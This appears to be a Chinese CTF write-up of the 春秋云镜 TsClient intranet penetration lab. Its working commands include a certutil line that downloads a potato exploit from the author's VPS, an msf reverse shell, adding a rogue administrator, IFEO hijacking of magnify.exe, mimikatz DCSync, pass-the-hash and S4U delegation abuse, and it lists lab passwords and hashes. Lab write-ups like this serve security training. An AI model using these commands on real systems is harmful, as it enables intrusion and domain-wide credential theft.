春秋云镜 Tsclient
春秋云镜 TsClient writeup
学习一下如何打内网渗透
基本上是对着多个wp操作的,在过程中理解知识并且实际操作一次比纸上谈兵要好
而且能够找到自己最舒服的操作,比如本人全过程使用windows环境(bloodhound什么的没学到,后面再说)
flag01
fscan扫ip
[*] NetInfo:
[*]39.99.141.107
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:4f2:1ea1:d89c:7294
[+] mssql:39.99.141.107:1433:sa 1qaz!QAZ
发现mssql数据库的密码
使用MDUT进行利用
第一次要激活xp_cmdshell组件才能执行命令
然后考虑potato提权
用的是http://github.com/uknowsec/SweetPotato的土豆
certutil -urlcache -split -f http://vps:8000/SweetPotato.exe C:\windows\temp\SweetPotato.exe
可以下载到两处地方
C:\windows\temp\
C:\Users\public\
然后上传msf的反弹shell,利用system权限去执行
我使用frp端口转发到本地
msf拿到shell后在C:\Users\Administrator\flag
下找到flag01.txt
type flag01.txt
_________ ________ ________ ___ ___ _______ ________ _________
|\___ ___\\ ____\|\ ____\|\ \ |\ \|\ ___ \ |\ ___ \|\___ ___\
\|___ \ \_\ \ \___|\ \ \___|\ \ \ \ \ \ \ __/|\ \ \\ \ \|___ \ \_|
\ \ \ \ \_____ \ \ \ \ \ \ \ \ \ \ \_|/_\ \ \\ \ \ \ \ \
\ \ \ \|____|\ \ \ \____\ \ \____\ \ \ \ \_|\ \ \ \\ \ \ \ \ \
\ \__\ ____\_\ \ \_______\ \_______\ \__\ \_______\ \__\\ \__\ \ \__\
\|__| |\_________\|_______|\|_______|\|__|\|_______|\|__| \|__| \|__|
\|_________|
Getting flag01 is easy, right?
flag01: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
Maybe you should focus on user sessions...
flag02
上传一个fscan,然后扫内网
fscan -h 172.22.8.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.15:135 open
172.22.8.31:135 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.31:445 open
172.22.8.18:80 open
172.22.8.18:445 open
172.22.8.15:88 open
172.22.8.46:139 open
172.22.8.18:139 open
172.22.8.15:139 open
172.22.8.31:139 open
172.22.8.46:135 open
[*] alive ports len is: 16
start vulscan
[*] WebTitle: http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] NetInfo:
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetInfo:
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetInfo:
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] NetBios: 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetInfo:
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:1040:23f4:d89d:8c02
[*] NetBios: 172.22.8.15 [+]DC XIAORANG\DC01
[*] NetBios: 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
一共四个机子
172.22.8.15 XIAORANG\DC01 # 域控
172.22.8.31 XIAORANG\WIN19-CLIENT
172.22.8.46 WIN2016.xiaorang.lab
172.22.8.18 WIN-WEB # 本机
根据flag01后面的提示,关注用户会话
创建一个管理员账户RDP过去查看一下用户会话有什么
net user zeropeach whoami@666 /add
net localgroup administrators zeropeach /add
query user
query session
quser || qwinst
都可以发现john用户正在被rdp
是被内网的 172.22.8.31 XIAORANG\WIN19-CLIENT
上连过来的
看X1r0z大佬的wp
tsclient 是通过远程桌面连接到远程计算机时,在远程计算机“网上邻居”中出现的一个机器名
通过\\tsclient\盘符
可以在远程计算机上访问本机
只有特定用户才能访问,所以我们需要模拟john用户,去访问共享文件夹
模拟方式一
X1r0z大佬提到
无论使用 cs 自带的 make token 还是 msf 的 incognito, 还是 SharpToken, 执行
dir \\tsclient\c
都显示拒绝访问, 很怪
确实是这样的,我使用msf的incognito
load incognito
#查看当前目标主机的域环境信息
list_tokens -u
#模拟令牌
impersonate_token 'WIN-WEB\John'
之后就什么命令都用不了了
解决方法是psexec连过去再上线msf
python psexec.py -hashes :2caf35bb4c5059a3d50599844e2b9b1f administrator@172.22.8.18
使用上面的操作即可模拟john用户
模拟方式二
可以使用cs,cs能够进程注入john用户
继续
shell执行whoami发现是WIN-WEB\John
就成功了
然后就可以dir \\tsclient\c
访问了
发现txt文件
有用户名和密码,进行密码喷洒
我使用的是win版的crackmapexec,不能输入smb,否则用法不对,而且结果好像和别人的有些不同
D:\CTF-tool\shentou\crackmapexec>crackmapexec -u Aldrich -p "Ald@rLMWuy7Z!#" -d xiaorang.lab 172.22.8.18/24
11-27-2024 21:31:05 [*] 172.22.8.15:445 is running Windows 10.0 Build 20348 (name:DC01) (domain:xiaorang.lab)
11-27-2024 21:31:05 [*] 172.22.8.31:445 is running Windows 10.0 Build 17763 (name:WIN19-CLIENT) (domain:xiaorang.lab)
11-27-2024 21:31:06 [*] 172.22.8.18:445 is running Windows 10.0 Build 14393 (name:WIN-WEB) (domain:xiaorang.lab)
11-27-2024 21:31:06 [*] 172.22.8.46:445 is running Windows 10.0 Build 14393 (name:WIN2016) (domain:xiaorang.lab)
11-27-2024 21:31:06 [-] 172.22.8.15:445 xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# SMB SessionError: STATUS_PASSWORD_EXPIRED(The user account password has expired.)
11-27-2024 21:31:06 [-] 172.22.8.31:445 NetBIOS Error: ('Error while reading from remote', 255, None)
11-27-2024 21:31:06 [-] 172.22.8.18:445 NetBIOS Error: ('Error while reading from remote', 255, None)
11-27-2024 21:31:06 [-] 172.22.8.46:445 NetBIOS Error: ('Error while reading from remote', 255, None)
别人的三台机子都是STATUS_PASSWORD_EXPIRED
,提示密码过期
密码修改方式一
使用rdesktop,能够点击进行更改
密码修改方式二
使用smbpasswd.py
python smbpasswd.py xiaorang.lab/Aldrich:"Ald@rLMWuy7Z!#"@172.22.8.15 -newpass 'csy666zz!'
继续
修改密码后,只能够rdp登录172.22.8.46,其他的不在Remote Desktop Users 用户组内
然后就可以做一下bloodhound信息收集
然后考虑一下提权,在共享文件夹的txt中提到提示
Do you know how to hijack Image?
可以知道是IFEO劫持
使用powershell执行命令
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
发现NT AUTHORITY\Authenticated Users可以修改注册表
即所有账号密码登录的用户都可以修改注册表,利用这个性质,修改注册表,使用放大镜进行提权!
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe
flag03
根据bloodhound信息收集的结果,发现WIN2016$为域管用户,后面就要用WIN2016$去dump域管哈希了
别人都是用CS的shell自带mimikatz
我想要上传文件可以利用上面的tsclient,
然后机子就能访问想要共享的磁盘了
把文件复制出来
使用上面system权限的cmd来执行
mimikatz
> log
> privilege::debug
> lsadump::dcsync /domain /all /csv
然后pass the hash即可
python psexec.py -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administra
tor@172.22.8.15 -codec gbk
其他
X1r0z大佬提到查询域委派
查询域委派关系
$ proxychains findDelegation.py xiaorang.lab/Aldrich:'P@ssw0rd' -dc-ip 172.22.8.15 -target-domain xiaorang.lab
Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra
AccountName AccountType DelegationType DelegationRightsTo
------------- ----------- ---------------------------------- --------------------------------------------------
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/xiaorang.lab
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/XIAORANG
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01/XIAORANG
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/DomainDnsZones.xiaorang.lab
WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/ForestDnsZones.xiaorang.lab
WIN19-CLIENT$ Computer Constrained w/ Protocol Transition cifs/WIN2016.xiaorang.lab
WIN19-CLIENT$ Computer Constrained w/ Protocol Transition cifs/WIN2016
存在从 WIN2016$
到 DC01
的约束委派, 并且委派的是 LDAP 服务
利用 S4U 协议请求 ST 伪造 Administrator 用户
proxychains getST.py xiaorang.lab/WIN2016\$ -hashes :02b2a436556a3dd5d6638ad03f87c43e -dc-ip 172.22.8.15 -spn ldap/DC01.xiaorang.lab -impersonate administrator
本来的思路是想利用票据进行 DCSync 导出域管 Hash 之后再去 psexec 的 (因为委派的是 LDAP 服务),
finally
开了三次机子,每一次都是因为工具问题或者是代理问题导致耗了很长时间,没沙砾了。。。。
这里感谢unknown师傅的沙砾支持,嘻嘻 : (